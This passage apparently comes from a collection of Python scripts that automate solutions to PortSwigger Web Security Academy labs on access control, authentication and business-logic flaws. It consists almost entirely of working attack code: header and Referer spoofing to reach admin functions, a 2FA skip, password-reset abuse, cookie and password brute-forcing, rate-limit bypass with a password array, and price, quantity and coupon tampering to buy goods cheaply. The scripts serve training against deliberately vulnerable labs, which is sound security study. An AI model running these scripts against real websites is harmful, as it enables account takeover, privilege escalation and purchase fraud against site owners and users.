
def retrive_password(s, url):
    chat_url = url + "/download-transcript/1.txt"
    r = s.get(chat_url, verify=False, proxies=proxies)
    res = r.text
    if 'password' in res:
        print("[+] Found Carlos's password...")
        carlos_password = re.findall(r'password is (.*)\.', res)
        return carlos_password[0]
    else:
        print("[-] Could not find Carlos's password.")
        sys.exit(-1)

def get_csrf_token(s, url):
    r = s.get(url, verify=False, proxies=proxies)
    soup = BeautifulSoup(r.text, 'html.parser')
    csrf = soup.find("input", {'name': 'csrf'})['value']
    return csrf

def login(s, url, password):
    login_url = url + "/login"
    csrf_token = get_csrf_token(s, login_url)
    data_login = {"username": "carlos", "password": password, "csrf": csrf_token}
    r = s.post(login_url, data=data_login, verify=False, proxies=proxies)
    res = r.text
    if "Log out" in res:
        print("[+] Successfully logged in as carlos")
    else:
        print("[-] Failed login")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage: python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    s = requests.Session()
    url = sys.argv[1]
    password = retrive_password(s,url)
    login(s,url,password)
Practitioner

URL-based access control can be circumvented

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def access_control(s,url):
    headers={'X-Original-Url':'/admin/delete'}
    r=s.get(url+'/?username=carlos',headers=headers,verify=False,proxies=proxies)
    headers1={'X-Original-Url':'/admin'}
    response=s.get(url+'/',headers=headers1,verify=False,proxies=proxies)
    if "carlos" not in response.text:
        print("[+] Successfully deleted user Carlos")
    else:
        print("[-] Not successful exploit")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    access_control(s,url)
Practitioner

Method-based access control can be circumvented

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def access_control(s,url):
    data={'username':'wiener','password':'peter'}
    r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
    if "Log out" in r.text:
        upgrade_url=url+'/admin-roles?username=wiener&action=upgrade'
        res=s.get(upgrade_url,verify=False,proxies=proxies)
        if 'Admin panel' in res.text:
            print("[+] Wiener upgraded with administrator privileges")
        else:
            print("[-] Could not upgrade wiener")
            sys.exit(-1)
    else:
        print("[-] Failed to login")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    access_control(s,url)
Practitioner

Multi-step process with no access control on one step

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def access_control(s,url):
    data={'username':'wiener','password':'peter'}
    r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
    if "Log out" in r.text:
        data={'action':'upgrade','confirmed':'true','username':'wiener'}
        res=s.post(url+'/admin-roles',data=data,verify=False,proxies=proxies)
        if '200' in str(res.status_code):
            print("[+] User upgraded with administrator privileges")
        else:
            print("[-] Could not upgrade user")
            sys.exit(-1)
    else:
        print("[-] Failed to login")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    access_control(s,url)
Practitioner

Referer-based access control

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def access_control(s,url):
    data={'username':'wiener','password':'peter'}
    r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
    if "Log out" in r.text:
        upgrade_url=url+'/admin-roles?username=wiener&action=upgrade'
        headers={'Referer':url+'/admin'}
        res=s.get(upgrade_url,headers=headers,verify=False,proxies=proxies)
        if '200' in str(res.status_code):
            print("[+] User upgraded with administrator privileges")
        else:
            print("[-] Could not upgrade user")
            sys.exit(-1)
    else:
        print("[-] Failed to login")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    access_control(s,url)

9. PortSwigger Authentication Automation

Automated solutions for Web Security Academy Authentication labs.

Apprentice

2FA simple bypass

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def auth_bypass(s,url):
    data={'username':'carlos','password':'montoya'}
    # Log in but do not allow redirect to the 2FA page
    r=s.post(url+'/login',data=data,verify=False,proxies=proxies,allow_redirects=False)
    # Force browse to the account page, bypassing the 2FA check
    res=s.get(url+'/my-account',verify=False,proxies=proxies)
    if "Log out" in res.text:
        print("[+] Successfully bypassed 2FA")
    else:
        print("[-] Not successful")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv[0]} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    auth_bypass(s,url)
Apprentice

Password reset broken logic

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def auth_bypass(s,url):
    # Exploit the logic flaw in the token parameter
    reset_data={'temp-forgot-password-token':'token','username':'carlos','new-password-1':'password','new-password-2':'password'}
    response=s.post(url+'/forgot-password?temp-forgot-password-token=token',data=reset_data,verify=False,proxies=proxies)
    
    # Attempt login with new credentials
    data={'username':'carlos','password':'password'}
    r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
    
    if "Log out" in r.text:
        print("[+] Successfully bypassed password reset logic")
    else:
        print("[-] Not successful")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv[0]} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    auth_bypass(s,url)
Practitioner

Brute-forcing a stay-logged-in cookie

import requests
import sys
import urllib3
import hashlib
import base64
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def auth_bypass(s,url):
    with open("password.txt","r") as f:
        for passwd in f:
            password=passwd.strip()
            # Construct the cookie structure: base64(username:md5(password))
            md5_hash='carlos:'+hashlib.md5(password.encode('utf-8')).hexdigest()
            base_encode=base64.b64encode(bytes(md5_hash,"utf-8")).decode('utf-8')
            cookies={'stay-logged-in':base_encode}
            
            # sys.stdout.write(f"[+] trying password \r{password}")
            # sys.stdout.flush()
            
            r=s.get(url+"/my-account",cookies=cookies,verify=False,proxies=proxies)
            
            if "Log out" in r.text:
                print("[+] Successfully logged in as carlos with password ",password)
                sys.exit(0)
        print("[-] Not successful")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv[0]} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    auth_bypass(s,url)
Practitioner

Password brute-force via password change

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def auth_bypass(s,url):
    # Log in as the low-privilege user first
    data={'username':'wiener','password':'peter'}
    r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
    
    with open("password.txt","r") as f:
        for passwd in f:
            correct_pass=""
            password=passwd.strip()
            # Attempt to change Carlos's password using the current guess as the 'current-password'
            data={'username':'carlos','current-password':password,'new-password-1':'donotmatch','new-password-2':'match'}
            res=s.post(url+"/my-account/change-password",data=data,verify=False,proxies=proxies)
            
            print(f"[+] Trying password {password}")
            
            # If the error is 'New passwords do not match', the 'current-password' was correct
            if "New passwords do not match" in res.text:
                correct_pass+=password
                # Log in with the discovered password
                data={'username':'carlos','password':correct_pass}
                response=s.post(url+'/login',data=data,verify=False,proxies=proxies)
                if "Log out" in response.text:
                    print("[+] Successfully logged in as carlos with password ",passwd)
                    sys.exit(0)
                break
    print("[-] Not successful")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv[0]} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    auth_bypass(s,url)
Expert

Broken brute-force protection, multiple credentials per request

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def auth_bypass(s,url):
    headers={'Content-Type':'application/json'}
    # Send a JSON array of passwords to bypass rate limiting
    json_payload={
        'username':'carlos',
        'password':["123456","password","12345678","qwerty","123456789","12345","1234","111111","1234567","dragon","123123","baseball","abc123","football","monkey","letmein","shadow","master","666666","qwertyuiop","123321","mustang","1234567890","michael","654321","superman","1qaz2wsx","7777777","121212","000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm","asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger","sunshine","iloveyou","2000","charlie","robert","thomas","hockey","ranger","daniel","starwars","klaster","112233","george","computer","michelle","jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom","777777","pass","maggie","159753","aaaaaa","ginger","princess","joshua","cheese","amanda","summer","love","ashley","nicole","chelsea","biteme","matthew","access","yankees","987654321","dallas","austin","thunder","taylor","matrix","mobilemail","mom","monitor","monitoring","montana","moon","moscow"]
    }
    r=s.post(url+'/login',json=json_payload,headers=headers,verify=False,proxies=proxies)
    
    if "Log out" in r.text:
        print("[+] Multiple credentials per request successful")
    else:
        print("[-] Not successful")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv[0]} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    auth_bypass(s,url)

10. Business Logic Vulnerabilities

Automated solutions for Web Security Academy Business Logic labs.

Apprentice

Excessive trust in client-side controls

import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
	r=s.get(url+'/login',verify=False,proxies=proxies)
	soup=BeautifulSoup(r.text,'html.parser')
	csrf=soup.find("input")['value']
	return csrf

def business_logic_flaw(s,url):
	csrf=get_csrf_token(s,url)
	data={'csrf':csrf,'username':'wiener','password':'peter'}
	r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
	if "Log out" in r.text:
		data={'productId':'1','redir':'PRODUCT','quantity':'1','price':'1'}
		res=s.post(url+'/cart',data=data,verify=False,proxies=proxies)
		csrf=get_csrf_token(s,url)
		data={'csrf':csrf}
		response=s.post(url+'/cart/checkout',data=data,verify=False,proxies=proxies)
		if "Your order is on its way" in response.text:
			print("[+] Congratulations ordered Lightweight l33t Leather Jacket successfully")
		else:
			print("[-] Login was not successful")
			sys.exit(-1)
	else:
		print("[-] Failed login was not successful")
		sys.exit(-1)

if __name__ == "__main__":
	if len(sys.argv) != 2:
		print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
		sys.exit(-1)
	url=sys.argv[1]
	s=requests.Session()
	business_logic_flaw(s,url)
Apprentice

High-level logic vulnerability

import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
	r=s.get(url+'/login',verify=False,proxies=proxies)
	soup=BeautifulSoup(r.text,'html.parser')
	csrf=soup.find("input")['value']
	return csrf

def business_logic_flaw(s,url):
	csrf=get_csrf_token(s,url)
	data={'csrf':csrf,'username':'wiener','password':'peter'}
	r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
	if "Log out" in r.text:
		data={'productId':'1','redir':'PRODUCT','quantity':'1'}
		r=s.post(url+'/cart',data=data,verify=False,proxies=proxies)
		data={'productId':'6','redir':'PRODUCT','quantity':'-14'}
		res=s.post(url+'/cart',data=data,verify=False,proxies=proxies)
		csrf=get_csrf_token(s,url)
		data={'csrf':csrf}
		response=s.post(url+'/cart/checkout',data=data,verify=False,proxies=proxies)
		if "Your order is on its way" in response.text:
			print("[+] Congratulations ordered Lightweight l33t Leather Jacket successfully")
		else:
			print("[-] Login was not successful")
			sys.exit(-1)
	else:
		print("[-] Failed login was not successful")
		sys.exit(-1)

if __name__ == "__main__":
	if len(sys.argv) != 2:
		print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
		sys.exit(-1)
	url=sys.argv[1]
	s=requests.Session()
	business_logic_flaw(s,url)
Apprentice

Flawed enforcement of business rules

import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
	r=s.get(url+'/login',verify=False,proxies=proxies)
	soup=BeautifulSoup(r.text,'html.parser')
	csrf=soup.find("input")['value']
	return csrf

def business_logic_flaw(s,url):
	csrf=get_csrf_token(s,url)
	data={'csrf':csrf,'username':'wiener','password':'peter'}
	r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
	if "Log out" in r.text:
		data={'productId':'1','redir':'PRODUCT','quantity':'1'}
		r=s.post(url+'/cart',data=data,verify=False,proxies=proxies)
		csrf=get_csrf_token(s,url)
		for i in range(0,9):
			if i % 2 == 1:
				data={'csrf':csrf,'coupon':'NEWCUST5'}
				res=s.post(url+'/cart/coupon',data=data,verify=False,proxies=proxies)
				csrf=get_csrf_token(s,url)
			else:
				data={'csrf':csrf,'coupon':'SIGNUP30'}
				res=s.post(url+'/cart/coupon',data=data,verify=False,proxies=proxies)
				csrf=get_csrf_token(s,url)
		data={'csrf':csrf}
		response=s.post(url+'/cart/checkout',data=data,verify=False,proxies=proxies)
		if "Your order is on its way" in response.text:
			print("[+] Congratulations ordered Lightweight l33t Leather Jacket successfully")
		else:
			print("[-] Login was not successful")
			sys.exit(-1)
	else:
		print("[-] Failed login was not successful")
		sys.exit(-1)

if __name__ == "__main__":
	if len(sys.argv) != 2:
		print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
		sys.exit(-1)
	url=sys.argv[1]
	s=requests.Session()
	business_logic_flaw(s,url)
Practitioner

Weak isolation on dual-use endpoint

import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
	r=s.get(url+'/login',verify=False,proxies=proxies)
	soup=BeautifulSoup(r.text,'html.parser')
	csrf=soup.find("input")['value']
	return csrf

def business_logic_flaw(s,url):
	csrf=get_csrf_token(s,url)
	data={'csrf':csrf,'username':'wiener','password':'peter'}
	r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
	if "Log out" in r.text:
		csrf=get_csrf_token(s,url)
		data={'csrf':csrf,'username':'administrator','new-password-1':'password','new-password-2':'password'}
		r=s.post(url+'/my-account/change-password',data=data,verify=False,proxies=proxies)
		response=s.get(url+'/logout',verify=False,proxies=proxies)
		if "200" in str(response.status_code):
			csrf=get_csrf_token(s,url)
			data={'csrf':csrf,'username':'administrator','password':'password'}
			r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
			r=s.get(url+'/admin/delete?username=carlos',verify=False,proxies=proxies)
			response=s.get(url+'/admin',verify=False,proxies=proxies)
			if "carlos" not in response.text:
				print("[+] Successfully deleted user Carlos")
			else:
				print("[-] Not successful exploit")
		else:
			print("[-] Logout not successful")
	else:
		print("[-] Failed login was not successful")
		sys.exit(-1)

if __name__ == "__main__":
	if len(sys.argv) != 2:
		print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
		sys.exit(-1)
	url=sys.argv[1]
	s=requests.Session()
	business_logic_flaw(s,url)
Practitioner

Insufficient workflow validation

import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
	r=s.get(url+'/login',verify=False,proxies=proxies)
	soup=BeautifulSoup(r.text,'html.parser')
	csrf=soup.find("input")['value']
	return csrf

def business_logic_flaw(s,url):
	csrf=get_csrf_token(s,url)
	data={'csrf':csrf,'username':'wiener','password':'peter'}
	r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
	if "Log out" in r.text:
		data={'productId':'1','redir':'PRODUCT','quantity':'1'}
		r=s.post(url+'/cart',data=data,verify=False,proxies=proxies)
		response=s.get(url+'/cart/order-confirmation?order-confirmed=true', verify=False, proxies=proxies)
		if "Congratulations" in response.text:
			print("[+] Congratulations ordered Lightweight l33t Leather Jacket successfully")
		else:
			print("[-] Exploit failed")
			sys.exit(-1)
	else:
		print("[-] Failed login was not successful")
		sys.exit(-1)

if __name__ == "__main__":
	if len(sys.argv) != 2:
		print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
		sys.exit(-1)
	url=sys.argv[1]
	s=requests.Session()
	business_logic_flaw(s,url)
Practitioner

Authentication bypass via flawed state machine

import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
	r=s.get(url+'/login',verify=False,proxies=proxies)
	soup=BeautifulSoup(r.text,'html.parser')
	csrf=soup.find("input")['value']
	return csrf

def business_logic_flaw(s,url):
	csrf=get_csrf_token(s,url)
	data={'csrf':csrf,'username':'wiener','password':'peter'}
	r=s.post(url+'/login',allow_redirects=False,data=data,verify=False,proxies=proxies)
	res=s.get(url+'/admin/delete?username=carlos',verify=False,proxies=proxies)
	if "Congratulations" in res.text:
		print("[+] Successfully deleted user Carlos")
	else:
		print("[-] Not successful exploit")

if __name__ == "__main__":
	if len(sys.argv) != 2:
		print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
		sys.exit(-1)
	url=sys.argv[1]
	s=requests.Session()
	business_logic_flaw(s,url)

3. Connect & Explore